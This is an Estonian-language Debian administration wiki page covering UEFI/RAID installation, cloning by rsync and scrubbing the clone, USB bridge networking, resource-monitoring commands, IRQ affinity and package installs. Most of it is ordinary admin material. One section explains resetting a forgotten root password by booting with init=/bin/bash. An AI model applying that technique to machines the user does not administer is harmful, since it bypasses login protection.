Samal ajal ütleb dbus-monitor filtreeridest välja töötavale vlc eksemplarile (:1.913) vastused&lt;br /&gt;
&lt;br /&gt;
 $ dbus-monitor &amp;quot;sender=:1.913&amp;quot;&lt;br /&gt;
 ...&lt;br /&gt;
 method return sender=:1.913 -&amp;gt; dest=:1.978 reply_serial=2&lt;br /&gt;
 signal sender=:1.913 -&amp;gt; dest=(null destination) serial=88 path=/org/mpris/MediaPlayer2; \&lt;br /&gt;
   interface=org.freedesktop.DBus.Properties;  member=PropertiesChanged&lt;br /&gt;
   string &amp;quot;org.mpris.MediaPlayer2.Player&amp;quot;&lt;br /&gt;
   array [&lt;br /&gt;
      dict entry(&lt;br /&gt;
         string &amp;quot;PlaybackStatus&amp;quot;&lt;br /&gt;
         variant             string &amp;quot;Paused&amp;quot;&lt;br /&gt;
      )&lt;br /&gt;
   ]&lt;br /&gt;
   array [&lt;br /&gt;
   ]&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://wiki.gnome.org/Apps/DFeet&lt;br /&gt;
* http://en.wikipedia.org/wiki/D-Bus&lt;br /&gt;
&lt;br /&gt;
===Debian paigaldamine UEFI arvutisse===&lt;br /&gt;
&lt;br /&gt;
Olgu eesmärk paigadada UEFI firmwarega arvutisse Debian v. 8 Jessie, kusjuures kasutatakse kahe füüsilise kõvakettaga mdadm RAID1 lülitust. System setup keskkonnnas näidata moel või teisel, et arvuti töötab UEFI (mitte BIOS emulatsiooni vms) režiimis. Esimeseks boot valikuks valida UEFI shell. Shellis öelda&lt;br /&gt;
&lt;br /&gt;
 &amp;gt; fs0:\BOOT\EFI\BOOT...&lt;br /&gt;
&lt;br /&gt;
Tulemusena käivitub Debian Installer (DI), kus tuleb seadistada selline kõvaketaste kasutus&lt;br /&gt;
&lt;br /&gt;
* /dev/sda1 ja /dev/sdb1 - EFI System Partitionid, 512 MB&lt;br /&gt;
* /dev/sda2 ja /dev/sdb2 - mdadm mirror, 2 GB, kus hakkab paiknema /boot failisüsteem&lt;br /&gt;
* /dev/sda3 ja /dev/sdb3 - mdadm mirror, 24 GB, kus hakkab paiknema operatsioonisüsteem, LVM köidetel&lt;br /&gt;
* /dev/system/swap ja /dev/system/root - asub mdadm peal&lt;br /&gt;
* /dev/sda4 ja /dev/sdb4 jne - juurutatakse operatsioonisüsteemi keskkonnas&lt;br /&gt;
&lt;br /&gt;
Tundub, et selliselt ettevalmistatud kõvakettakasutusest saab DI hästi aru ja tulemusena tekib selline süsteem&lt;br /&gt;
&lt;br /&gt;
 # df&lt;br /&gt;
 Filesystem     1K-blocks   Used Available Use% Mounted on&lt;br /&gt;
 /dev/dm-0       11403544 938660   9862568   9% /&lt;br /&gt;
 udev               10240      0     10240   0% /dev&lt;br /&gt;
 tmpfs            1631032   8724   1622308   1% /run&lt;br /&gt;
 tmpfs            4077572      0   4077572   0% /dev/shm&lt;br /&gt;
 tmpfs               5120      0      5120   0% /run/lock&lt;br /&gt;
 tmpfs            4077572      0   4077572   0% /sys/fs/cgroup&lt;br /&gt;
 /dev/md0         1888268  35564   1738736   3% /boot&lt;br /&gt;
 /dev/sda1         497696    148    497548   1% /boot/efi&lt;br /&gt;
&lt;br /&gt;
Partitsioonid sellised&lt;br /&gt;
&lt;br /&gt;
 # parted /dev/sda p&lt;br /&gt;
 Model: ATA ST2000NM0033-9ZM (scsi)&lt;br /&gt;
 Disk /dev/sda: 2000GB&lt;br /&gt;
 Sector size (logical/physical): 512B/512B&lt;br /&gt;
 Partition Table: gpt&lt;br /&gt;
 Disk Flags: &lt;br /&gt;
 &lt;br /&gt;
 Number  Start   End     Size    File system  Name      Flags&lt;br /&gt;
  1      1049kB  512MB   511MB   fat32        efsname   boot, esp&lt;br /&gt;
  2      512MB   2511MB  2000MB               sda2part  raid&lt;br /&gt;
  3      2511MB  26.5GB  24.0GB               sda3part  raid&lt;br /&gt;
&lt;br /&gt;
Lõpuks tuleb kopeerida /dev/sdb1 peale /dev/sda1 failisüsteemi sisu (EFI GRUB bootloader).&lt;br /&gt;
&lt;br /&gt;
 # efibootmgr &lt;br /&gt;
 BootCurrent: 0003&lt;br /&gt;
 Timeout: 1 seconds&lt;br /&gt;
 BootOrder: 0003,0009,000D,0000,0001,0002&lt;br /&gt;
 Boot0000* ATEN Virtual CDROM YS0J&lt;br /&gt;
 Boot0001* IBA GE Slot 0300 v1404&lt;br /&gt;
 Boot0002* P0: ST2000NM0033-9ZM175       &lt;br /&gt;
 Boot0003* debian&lt;br /&gt;
 Boot0009* UEFI: Built-in EFI Shell &lt;br /&gt;
 Boot000D* UEFI: ATEN Virtual CDROM YS0J&lt;br /&gt;
&lt;br /&gt;
===Arvuti kloonimine===&lt;br /&gt;
&lt;br /&gt;
Arvuti kloonimise tulemusena moodustatakse olemasoleva arvuti tarkvaralisest seistust, st operatsioonisüsteem ja seal töötavad rakendused, töötav koopia. Sõltuvalt asjaoludest, nt kui koopia töötab samas võrgus ja samal ajal lähtepunktiks oleva arvutiga, peab talle seadistama erineva ip aadressi. Kloonimise põhjuseks võib olla nt soov taha arenduspartnerile kättesaadavaks täpselt samasugune seis arvutist nagu on juba kasutada, sel juhul jääb ära vähem või rohkem keerukas arvuti ettevalmistamise aeg, mis kuluks operatsioonisüsteemi ja rakendusprogrammide seaditamisele.&lt;br /&gt;
&lt;br /&gt;
====Kloonimine failisüsteemi kopeerimise teel====&lt;br /&gt;
&lt;br /&gt;
Kloonimiseks on rikkalikult võimalusi, käesolev juhtum kirjeldab kloonimist failisüsteemi kopeerimise teel&lt;br /&gt;
&lt;br /&gt;
* valida välja sobiv klooniks saav arvuti, piisava protsessori, kõvakette, mälu, võrgu jms ressursiga&lt;br /&gt;
* käivitada puhas uus klooniks saav arvuti (füüsiline või virtuaalne) systemrescue cd plaadilt&lt;br /&gt;
* moodustada fdisk partitsioonid&lt;br /&gt;
* tekitada lvm&lt;br /&gt;
* tekitada failisüsteemid ja swap&lt;br /&gt;
&lt;br /&gt;
 # mkfs.ext4 /dev/sda1&lt;br /&gt;
 # mkfs.ext4 /dev/system/root&lt;br /&gt;
 # mkswap -f /dev/system/swap&lt;br /&gt;
&lt;br /&gt;
* ühendada failisüsteemid külge&lt;br /&gt;
&lt;br /&gt;
 # mkdir /mnt/root&lt;br /&gt;
 # mount /dev/system/root&lt;br /&gt;
 # mkdir /mnt/root/boot&lt;br /&gt;
 # mount /dev/sda1 /mnt/root/boot&lt;br /&gt;
&lt;br /&gt;
* seadistada võrk&lt;br /&gt;
* veenduda, et lähtepunktiks olevas arvutis on klooni riistvara jaoks vajalikud draiverid ja muuud komponendid olemas (LVM, mdadm tugi jms)&lt;br /&gt;
* kopeerida rsync abil üle failisüsteem, vajalike eranditega (nt /proc, /sys, /home)&lt;br /&gt;
&lt;br /&gt;
 orig# rsync -avHXA --exclude --exclude-deleted --numeric-ids --exclude-from=/root/ex / root@x.x.x.x:/mnt/root/&lt;br /&gt;
&lt;br /&gt;
* tekitada käsitsi excludetud kataloogid&lt;br /&gt;
&lt;br /&gt;
 # mkdir proc sys home tmp&lt;br /&gt;
 # chmod 1777 tmp&lt;br /&gt;
&lt;br /&gt;
* kohendada seadistusfaile&lt;br /&gt;
&lt;br /&gt;
 /etc/fstab&lt;br /&gt;
 /etc/network/interfaces&lt;br /&gt;
 /etc/udev/rules.d/70-persistent-net.rules&lt;br /&gt;
&lt;br /&gt;
* ühendada külgeühendatud failisüsteemid lahti&lt;br /&gt;
* rebootida valikuda 'Boot Linux from hard disk'&lt;br /&gt;
* paigaldada bootloader&lt;br /&gt;
&lt;br /&gt;
 # install-grub --recheck --no-floppy /dev/sda&lt;br /&gt;
&lt;br /&gt;
* bootida paigaldatud bootloaderi promptist käsitsi&lt;br /&gt;
&lt;br /&gt;
 grub&amp;gt; linux /vmlinuz... root=/dev/mapper/system-root ro&lt;br /&gt;
 grub&amp;gt; initrd /initrd...&lt;br /&gt;
 grub&amp;gt; boot&lt;br /&gt;
&lt;br /&gt;
* genereerida /boot/grub/grub.conf&lt;br /&gt;
&lt;br /&gt;
 # update-grub&lt;br /&gt;
&lt;br /&gt;
====Kopeeritud süsteemi korrastamine====&lt;br /&gt;
&lt;br /&gt;
Kopeeritud süsteemi edasiandmisel võib olla asjakohane pöörata tähelepanu sellistele asjaoludele, st kas ei anta edasi soovimatult palju andmeid&lt;br /&gt;
&lt;br /&gt;
* kasutajate kodukataloogid (.ssh, .pgpass jt)&lt;br /&gt;
* root, postgres jt süsteemsete ja muidu alles jäänud kasutajate .bash_history failid&lt;br /&gt;
&lt;br /&gt;
 # history -c&lt;br /&gt;
 # rm .bash_history&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
* cron tööd (/etc/cron.*/*, crontab -l. /var/spool/cron ...)&lt;br /&gt;
* /var/backups (passwd.bak, shadow.pak jt)&lt;br /&gt;
* varunduse tarkvara agent (nt backupninja)&lt;br /&gt;
* monitooringu tarkvara agent (nt zabbix)&lt;br /&gt;
* liidestus AD vms keskse kasutajahalduse süsteemiga&lt;br /&gt;
* konfiguratsioooni halduse agent (nt puppet)&lt;br /&gt;
* logiserverisse logimine&lt;br /&gt;
* /tmp, /var/tmp kataloogide sisu&lt;br /&gt;
* /var/mail&lt;br /&gt;
* /usr/src&lt;br /&gt;
&lt;br /&gt;
===USB data bridge kasutamine===&lt;br /&gt;
&lt;br /&gt;
USB data bridge on kahe otsaga ja keskel asuvad punniga USB kaabel, mille abil saab kaks arvutit omavahel ühendada andmevahetuseks. Üks populaarne kaabel paistab välja sedasi&lt;br /&gt;
&lt;br /&gt;
 # lsusb &lt;br /&gt;
 Bus 001 Device 005: ID 067b:2501 Prolific Technology, Inc. PL2501 USB-USB Bridge (USB 2.0)&lt;br /&gt;
&lt;br /&gt;
Tundub, et Debiani tuumas on mitme sarnase kaabli tugi, aga mitte päris PL2501 oma. Toe tekitamist kirjeldatakse aadressil https://lkml.org/lkml/2012/7/23/106. Muudatuste tegemiseks sobib kasutada tekstis http://www.auul.pri.ee/wiki/Operatsioonis%C3%BCsteemi_Debian_GNU/Linux_paketihalduse_kasutamine#Tuuma_kompileerimine kirjeldatud protseduuri.&lt;br /&gt;
&lt;br /&gt;
Peale mooduli laadimist tekib võrguseade&lt;br /&gt;
&lt;br /&gt;
 # ifconfig usb0&lt;br /&gt;
 usb0      Link encap:Ethernet  HWaddr a2:68:73:e5:d6:6e  &lt;br /&gt;
          inet6 addr: fe80::a068:73ff:fee5:d66e/64 Scope:Link&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* http://paulswasteland.blogspot.com.ee/2014/01/getting-prolific-pl-2501-based-usb-to.html&lt;br /&gt;
&lt;br /&gt;
===Single user ehk ühekasutaja režiim===&lt;br /&gt;
&lt;br /&gt;
Juhtumil, kui arvutisse ei saa root kasutajana sisse logida ja pole ka root parooli teada, et konsoolilt sisse logida, saab kasutada single user režiimi ja seal root parool muuta. Selleks tuleb&lt;br /&gt;
&lt;br /&gt;
* GRUB bootloaderis liikuda nooltega meelepärase boot valiku peale&lt;br /&gt;
* vajutada e nagu edit (see on ekraani all kirjas)&lt;br /&gt;
* liikuda kernel parameetri juurde ja lisada kõige lõppu juurde tühik ning seejärel&lt;br /&gt;
&lt;br /&gt;
 init=/bin/bash&lt;br /&gt;
&lt;br /&gt;
* valida ctrl-x vms (see on ekraani all kirjas) ja arvuti bootida&lt;br /&gt;
&lt;br /&gt;
Tulemusena jõuab arvuti välja nn single user prompti. Selles olekus töötab arvutis suhteliselt vähe protsesse, juurfailisüsteem on monteeritud read-only olekus, võrk on seadistamata jne. root kasutaja või mõni muu kasutaja parooli seadmiseks tuleb&lt;br /&gt;
&lt;br /&gt;
* monteerida juurfailisüsteem read-write olekusse&lt;br /&gt;
&lt;br /&gt;
 # mount -o rw,remount /&lt;br /&gt;
 # passwd kasutajanimi&lt;br /&gt;
 # sync&lt;br /&gt;
 # mount -o ro,remount /&lt;br /&gt;
 # sync&lt;br /&gt;
 # oodata 30 sekundit&lt;br /&gt;
 # reboot -f&lt;br /&gt;
&lt;br /&gt;
Seejärel peaks saama seda uut parooli kasutada.&lt;br /&gt;
&lt;br /&gt;
===Ksplice kasutamine===&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://oss.oracle.com/pipermail/ksplice-debian-8.0-updates/&lt;br /&gt;
&lt;br /&gt;
===Arvuti ressursikasutuse kaardistamine===&lt;br /&gt;
&lt;br /&gt;
Protsessid&lt;br /&gt;
&lt;br /&gt;
 # ps auxef&lt;br /&gt;
&lt;br /&gt;
Avatud failid&lt;br /&gt;
&lt;br /&gt;
 # lsof -n -p PID&lt;br /&gt;
 # lsof -n -u USER&lt;br /&gt;
&lt;br /&gt;
Võrgusoketid&lt;br /&gt;
&lt;br /&gt;
 # lsof -i TCP&lt;br /&gt;
 # lsof -i UDP&lt;br /&gt;
 # lsof -U - unix domain sockets&lt;br /&gt;
&lt;br /&gt;
Semafoorid&lt;br /&gt;
&lt;br /&gt;
 # ipcs -u&lt;br /&gt;
 &lt;br /&gt;
 ------ Shared Memory Status --------&lt;br /&gt;
 segments allocated 2&lt;br /&gt;
 pages allocated 4309411&lt;br /&gt;
 pages resident  4136103&lt;br /&gt;
 pages swapped   169536&lt;br /&gt;
 Swap performance: 0 attempts     0 successes&lt;br /&gt;
 &lt;br /&gt;
 ------ Semaphore Status --------&lt;br /&gt;
 used arrays = 64&lt;br /&gt;
 allocated semaphores = 1083&lt;br /&gt;
 &lt;br /&gt;
 ------ Messages Status --------&lt;br /&gt;
 allocated queues = 0&lt;br /&gt;
 used headers = 0&lt;br /&gt;
 used space = 0 bytes&lt;br /&gt;
&lt;br /&gt;
Nt sellise skript kasutamine cron tööna kord minutis võiks koguda midagi, lisaks sar andmestikule&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /opt/osres/bin/osres.sh &lt;br /&gt;
#!/bin/bash&lt;br /&gt;
&lt;br /&gt;
AEG=`date +%Y%m%d-%H%M%S`;&lt;br /&gt;
LOG=&amp;quot;/var/log/osres&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
if test -f /tmp/osres.lock; then&lt;br /&gt;
  echo &amp;quot;protsess kaib&amp;quot; &amp;gt;&amp;gt; /tmp/osres.log&lt;br /&gt;
#  echo &amp;quot;kaivitame crontabist osres&amp;quot; &amp;gt;&amp;gt; /tmp/osres.log&lt;br /&gt;
else&lt;br /&gt;
&lt;br /&gt;
  touch /tmp/osres.lock&lt;br /&gt;
  echo &amp;quot;protsess kaivitatakse&amp;quot; &amp;gt;&amp;gt; /tmp/osres.log&lt;br /&gt;
&lt;br /&gt;
  timeout 20 ps auxef &amp;gt;&amp;gt; ${LOG}/ps-auxef_${AEG}.log&lt;br /&gt;
  AEG=`date +%Y%m%d-%H%M%S`;&lt;br /&gt;
  timeout 20 lsof -n &amp;gt;&amp;gt; ${LOG}/lsof-n_${AEG}.log&lt;br /&gt;
  AEG=`date +%Y%m%d-%H%M%S`;&lt;br /&gt;
  timeout 20 ipcs -a &amp;gt;&amp;gt; ${LOG}/ipcs-a_${AEG}.log&lt;br /&gt;
  AEG=`date +%Y%m%d-%H%M%S`;&lt;br /&gt;
  timeout 20 ipcs -u &amp;gt;&amp;gt; ${LOG}/ipcs-u_${AEG}.log&lt;br /&gt;
  AEG=`date +%Y%m%d-%H%M%S`;&lt;br /&gt;
  timeout 20 netstat -anp &amp;gt;&amp;gt; ${LOG}/netstat-anp_${AEG}.log&lt;br /&gt;
  AEG=`date +%Y%m%d-%H%M%S`;&lt;br /&gt;
  timeout 20 conntrack -L &amp;gt;&amp;gt; ${LOG}/conntrack-L_${AEG}.log&lt;br /&gt;
  AEG=`date +%Y%m%d-%H%M%S`;&lt;br /&gt;
  timeout 20 touch /var/lib/postgresql/iocheck/io_${AEG}&lt;br /&gt;
  AEG=`date +%Y%m%d-%H%M%S`;&lt;br /&gt;
  timeout 20 ping -c 4 127.0.0.1 &amp;gt; ${LOG}/ping_127.0.0.1_${AEG}.log&lt;br /&gt;
  AEG=`date +%Y%m%d-%H%M%S`;&lt;br /&gt;
  timeout 20 ping -c 4 10.0.6.73 &amp;gt; ${LOG}/ping_10.0.6.73_${AEG}.log&lt;br /&gt;
  AEG=`date +%Y%m%d-%H%M%S`;&lt;br /&gt;
  timeout 20 ssh root@127.0.0.1 &amp;quot;date &amp;gt; ${LOG}/touch-over-ssh_${AEG}.log&amp;quot;&lt;br /&gt;
  AEG=`date +%Y%m%d-%H%M%S`;&lt;br /&gt;
  timeout 20 dig @10.0.9.4 auul.pri.ee soa &amp;gt;&amp;gt; ${LOG}/dig-10.0.9.4-auul.pri.ee-soa_${AEG}.log&lt;br /&gt;
  AEG=`date +%Y%m%d-%H%M%S`;&lt;br /&gt;
  export PGPASSWORD=&amp;quot;xxx&amp;quot;&lt;br /&gt;
  timeout 20 psql -h 10.0.6.174 -U monitoring baas -c &amp;quot;select now();&amp;quot; &amp;gt;&amp;gt; ${LOG}/psql-10.0.6.174-monitoring-portaal_${AEG}.log&lt;br /&gt;
  &lt;br /&gt;
  rm /tmp/osres.lock&lt;br /&gt;
&lt;br /&gt;
fi&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===ConsoleKit===&lt;br /&gt;
&lt;br /&gt;
2017 seisuga paistab see olevat vananenud tehnoloogia, kasutatakse systemd-logind.&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;br /&gt;
&lt;br /&gt;
===Võrgukaart - CPU affinity===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
Järgneval viisil tegutsemiseks on vaja ircbalance deemoni töö lõpetada&lt;br /&gt;
&lt;br /&gt;
 # systemctl stop irqbalance&lt;br /&gt;
&lt;br /&gt;
Võrgukaardi multi-queue omadused&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# ethtool -l eth0&lt;br /&gt;
Channel parameters for eth0:&lt;br /&gt;
Pre-set maximums:&lt;br /&gt;
RX:		8&lt;br /&gt;
TX:		8&lt;br /&gt;
Other:		0&lt;br /&gt;
Combined:	0&lt;br /&gt;
Current hardware settings:&lt;br /&gt;
RX:		2&lt;br /&gt;
TX:		2&lt;br /&gt;
Other:		0&lt;br /&gt;
Combined:	0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Võrgukaardi ja cpu ja interrupt vahelised seosed&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /proc/interrupts | egrep &amp;quot;CPU|eth&amp;quot;&lt;br /&gt;
        CPU0      CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       &lt;br /&gt;
  48:      0         0          0         38          0    1339257     461106          0   PCI-MSI 2097152-edge      eth0-0&lt;br /&gt;
  49:      0         0          1         67    2071270          0          0     143901   PCI-MSI 2097153-edge      eth0-1&lt;br /&gt;
  57:      0         0    1738287          4          0          0          0          0   PCI-MSI 2099200-edge      eth1-0&lt;br /&gt;
  58:      0   3918708          0         38          0          0          0          0   PCI-MSI 2099201-edge      eth1-1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* 48, 49 jnt on interrupt number&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /proc/irq/57/smp_affinity&lt;br /&gt;
04&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* hex 04 vastav väärtus on bin 0000 0100&lt;br /&gt;
* bin väärtuses olev paremalt kolmandal positsioonil olev '1' tähistab süsteemis olevat kolmandat protsessorit, st alates nullist lugedes CPU2&lt;br /&gt;
&lt;br /&gt;
Affinity muutmiseks, st selle muutmiseks, milline cpu tegeleb millise võrgukaardiga (või võrgukaardi queue'ga) sobib öelda uus cpu number, nt seostamiseks CPU3 protsessoriga&lt;br /&gt;
&lt;br /&gt;
 # echo 08 &amp;gt; /proc/irq/57/smp_affinity&lt;br /&gt;
&lt;br /&gt;
CPU numeratsioon&lt;br /&gt;
&lt;br /&gt;
* 0000 0001 (bin) ehk 01 (hex) - esimene (CPU0)&lt;br /&gt;
* 0000 0010 (bin) ehk 02 (hex) - teine (CPU1)&lt;br /&gt;
* 0000 0100 (bin) ehk 04 (hex) - kolmas (CPU2)&lt;br /&gt;
* ...&lt;br /&gt;
* 1000 0000 (bin) ehk 80 (hex) - kahesas (CPU7)&lt;br /&gt;
&lt;br /&gt;
Tundub, et võrgukaardi queue'de arvu muutmiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # ethtool -L eth0 tx 2&lt;br /&gt;
 # ethtool -L eth0 rx 2&lt;br /&gt;
&lt;br /&gt;
Siin kirjeldatud viisil tehtud seadistused ei kehtestu peale rebooti.&lt;br /&gt;
&lt;br /&gt;
===Watchdog===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://github.com/miniwark/miniwark-howtos/wiki/Hardware-Watchdog-Timer-setup-on-Ubuntu-12.04&lt;br /&gt;
* http://odroid.com/dokuwiki/doku.php?id=en:odroid_linux_watchdog&lt;br /&gt;
* https://pve.proxmox.com/wiki/High_Availability&lt;br /&gt;
* https://pve.proxmox.com/wiki/High_Availability_Cluster_4.x&lt;br /&gt;
* https://lesterlo.wordpress.com/2017/06/23/enable-ipmi-watchdog/&lt;br /&gt;
* http://www.madore.org/~david/linux/iTCO-wdt-test.html&lt;br /&gt;
* https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/virtualization_administration_guide/section-libvirt-dom-xml-watchdog&lt;br /&gt;
* https://casesup.com/using-the-nmi-watchdog-to-detect-hangs/&lt;br /&gt;
* https://gist.githubusercontent.com/wmealing/5523247/raw/4dc0474cabc35a9b79cd49fc7eab1f027ea80606/nmi-interrupts.txt&lt;br /&gt;
* https://github.com/spotify/linux/blob/master/Documentation/nmi_watchdog.txt&lt;br /&gt;
&lt;br /&gt;
===Softdog===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Misc===&lt;br /&gt;
&lt;br /&gt;
* Kopeerimise kiiruse kontrollimine pipe peal&lt;br /&gt;
&lt;br /&gt;
 # apt-get install pv&lt;br /&gt;
 # ssh root@192.168.112.113 'cd /tmp &amp;amp;&amp;amp; dd if=/dev/pve/vm-109-disk-1 bs=1M' | pv -L 15m | dd of=/dev/kvmvg/vm-1019-disk-1 bs=1M&lt;br /&gt;
&lt;br /&gt;
===Viber===&lt;br /&gt;
&lt;br /&gt;
Viber https://www.viber.com/ on suhtlemistarkvara, paigaldamiseks sobib öelda nt Debian v. 8 ja v. 9 keskkonnas&lt;br /&gt;
&lt;br /&gt;
 # apt-get install libxcb-xkb1 libxcb-icccm4 libxcb-image0 libxcb-render-util0&lt;br /&gt;
 # apt-get install libqt5gui5&lt;br /&gt;
 # dpkg -i viber.com&lt;br /&gt;
&lt;br /&gt;
ja käivitamiseks&lt;br /&gt;
&lt;br /&gt;
 $ /opt/viber/Viber&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://daksaitay.noblogs.org/post/2017/01/17/viber-on-debian-8-jessie-desktop/&lt;br /&gt;
* http://www.roydoer.com/viber-on-ubuntu-14-04-64bit/&lt;br /&gt;
&lt;br /&gt;
===KeePassX===&lt;br /&gt;
&lt;br /&gt;
MÄRKUS 20190126 - tundub, et õigem projekt on https://en.wikipedia.org/wiki/KeePassXC (C nagu community ja paketinimi keepassxc)&lt;br /&gt;
&lt;br /&gt;
 # apt-get intall keepassx&lt;br /&gt;
&lt;br /&gt;
andmebaasi failinime lõpp on .kdbx&lt;br /&gt;
&lt;br /&gt;
===Password Gorilla===&lt;br /&gt;
&lt;br /&gt;
 # apt-get install password-gorilla&lt;br /&gt;
&lt;br /&gt;
andmebaasi failinime lõpp on .psafe3&lt;br /&gt;
&lt;br /&gt;
===2018 - Debian v. 9 Stretch paigaldamine===&lt;br /&gt;
&lt;br /&gt;
Installeris menüüde läbimise näide&lt;br /&gt;
&lt;br /&gt;
* Installeri keel - &amp;quot;English&amp;quot;&lt;br /&gt;
* Select your location: Other &amp;gt; Europe &amp;gt; Estonia&lt;br /&gt;
* Configure locales - United States - en_US.UTF-8&lt;br /&gt;
* Keymap to use - Estonian&lt;br /&gt;
* Hostname - ühekohalinenimi (vist tulemus sõltub kas võrk eelnevalt just seadistati dhcp'ga, antud näites nii oli)&lt;br /&gt;
* Domain name - sise.moraal.ee&lt;br /&gt;
* Root password - parool&lt;br /&gt;
* User name - nimi&lt;br /&gt;
* User password - parool&lt;br /&gt;
* partitsioonimine (nt efi + lvm)&lt;br /&gt;
* Configure package manager - Estonia - ftp.ee.debian.org&lt;br /&gt;
* HTTP proxy - tühi&lt;br /&gt;
* Contest - no&lt;br /&gt;
* Software selection - OpenSSH server ja standard system utilities&lt;br /&gt;
* Reboot&lt;br /&gt;
&lt;br /&gt;
===2019 - Debian v. 10 Buster paigaldamine===&lt;br /&gt;
&lt;br /&gt;
Installeris menüüde läbimise näide&lt;br /&gt;
&lt;br /&gt;
* Installeri keel - &amp;quot;English&amp;quot;&lt;br /&gt;
* Select your location: Other &amp;gt; Europe &amp;gt; Estonia&lt;br /&gt;
* Configure locales - United States - en_US.UTF-8&lt;br /&gt;
* Keymap to use - Estonian&lt;br /&gt;
* Hostname - ühekohalinenimi (vist tulemus sõltub kas võrk eelnevalt just seadistati dhcp'ga, antud näites nii oli)&lt;br /&gt;
* Domain name - sise.moraal.ee&lt;br /&gt;
* Root password - parool&lt;br /&gt;
* User name - nimi&lt;br /&gt;
* User password - parool&lt;br /&gt;
* partitsioonimine (nt efi + lvm)&lt;br /&gt;
* Configure package manager - Estonia - ftp.ee.debian.org&lt;br /&gt;
* HTTP proxy - tühi&lt;br /&gt;
* Contest - no&lt;br /&gt;
* Software selection - OpenSSH server ja standard system utilities&lt;br /&gt;
* Reboot&lt;br /&gt;
&lt;br /&gt;
===linux-perf===&lt;br /&gt;
&lt;br /&gt;
====Paigldamine====&lt;br /&gt;
&lt;br /&gt;
Paigaldamiseks sobib öeld&lt;br /&gt;
&lt;br /&gt;
 # apt-get install linux-perf&lt;br /&gt;
&lt;br /&gt;
====Kasutamine====&lt;br /&gt;
&lt;br /&gt;
perf.data faili salvestamine käesolevasse kataloogi&lt;br /&gt;
&lt;br /&gt;
 # /usr/bin/perf record -e sched:sched_process_exec -a&lt;br /&gt;
&lt;br /&gt;
Salvestatud andmete loetaval kujul esitamine&lt;br /&gt;
&lt;br /&gt;
 # /usr/bin/perf script --header&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* http://www.brendangregg.com/perf.html&lt;br /&gt;
&lt;br /&gt;
===Wireguard===&lt;br /&gt;
&lt;br /&gt;
====Debian v. 10 Buster====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
Lisada buster-backports repo&lt;br /&gt;
&lt;br /&gt;
 TODO&lt;br /&gt;
&lt;br /&gt;
Paigaldada buster-backports repost wireguard&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* paigaldatakse wireguard-dkms wireguard-tools wireguard&lt;br /&gt;
* paigaldatakse hulka bui&lt;br /&gt;
&lt;br /&gt;
====Debian v. 11 Bullseye====&lt;br /&gt;
&lt;br /&gt;
 # apt-get install wireguard&lt;br /&gt;
&lt;br /&gt;
====Debian v. 12 Bookworm====&lt;br /&gt;
&lt;br /&gt;
Töötamine paistab nö serveri poolel&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@debian-vpn:~# systemctl status wg-quick@wg0&lt;br /&gt;
● wg-quick@wg0.service - WireGuard via wg-quick(8) for wg0&lt;br /&gt;
     Loaded: loaded (/lib/systemd/system/wg-quick@.service; enabled; preset: enabled)&lt;br /&gt;
     Active: active (exited) since Tue 2025-04-01 16:46:09 EEST; 9 months 19 days ago&lt;br /&gt;
       Docs: man:wg-quick(8)&lt;br /&gt;
             man:wg(8)&lt;br /&gt;
             https://www.wireguard.com/&lt;br /&gt;
             https://www.wireguard.com/quickstart/&lt;br /&gt;
             https://git.zx2c4.com/wireguard-tools/about/src/man/wg-quick.8&lt;br /&gt;
             https://git.zx2c4.com/wireguard-tools/about/src/man/wg.8&lt;br /&gt;
   Main PID: 7536 (code=exited, status=0/SUCCESS)&lt;br /&gt;
        CPU: 30ms&lt;br /&gt;
&lt;br /&gt;
Apr 01 16:46:09 debian-10-vpn wg-quick[7536]: [#] ip link set mtu 1420 up dev wg0&lt;br /&gt;
Apr 01 16:46:09 debian-10-vpn wg-quick[7536]: [#] ip -4 route add 10.168.112.68/32 dev wg0&lt;br /&gt;
Apr 01 16:46:09 debian-10-vpn wg-quick[7536]: [#] ip -4 route add 10.168.112.170/32 dev wg0&lt;br /&gt;
Apr 01 16:46:09 debian-10-vpn wg-quick[7536]: [#] ip -4 route add 10.168.112.15/32 dev wg0&lt;br /&gt;
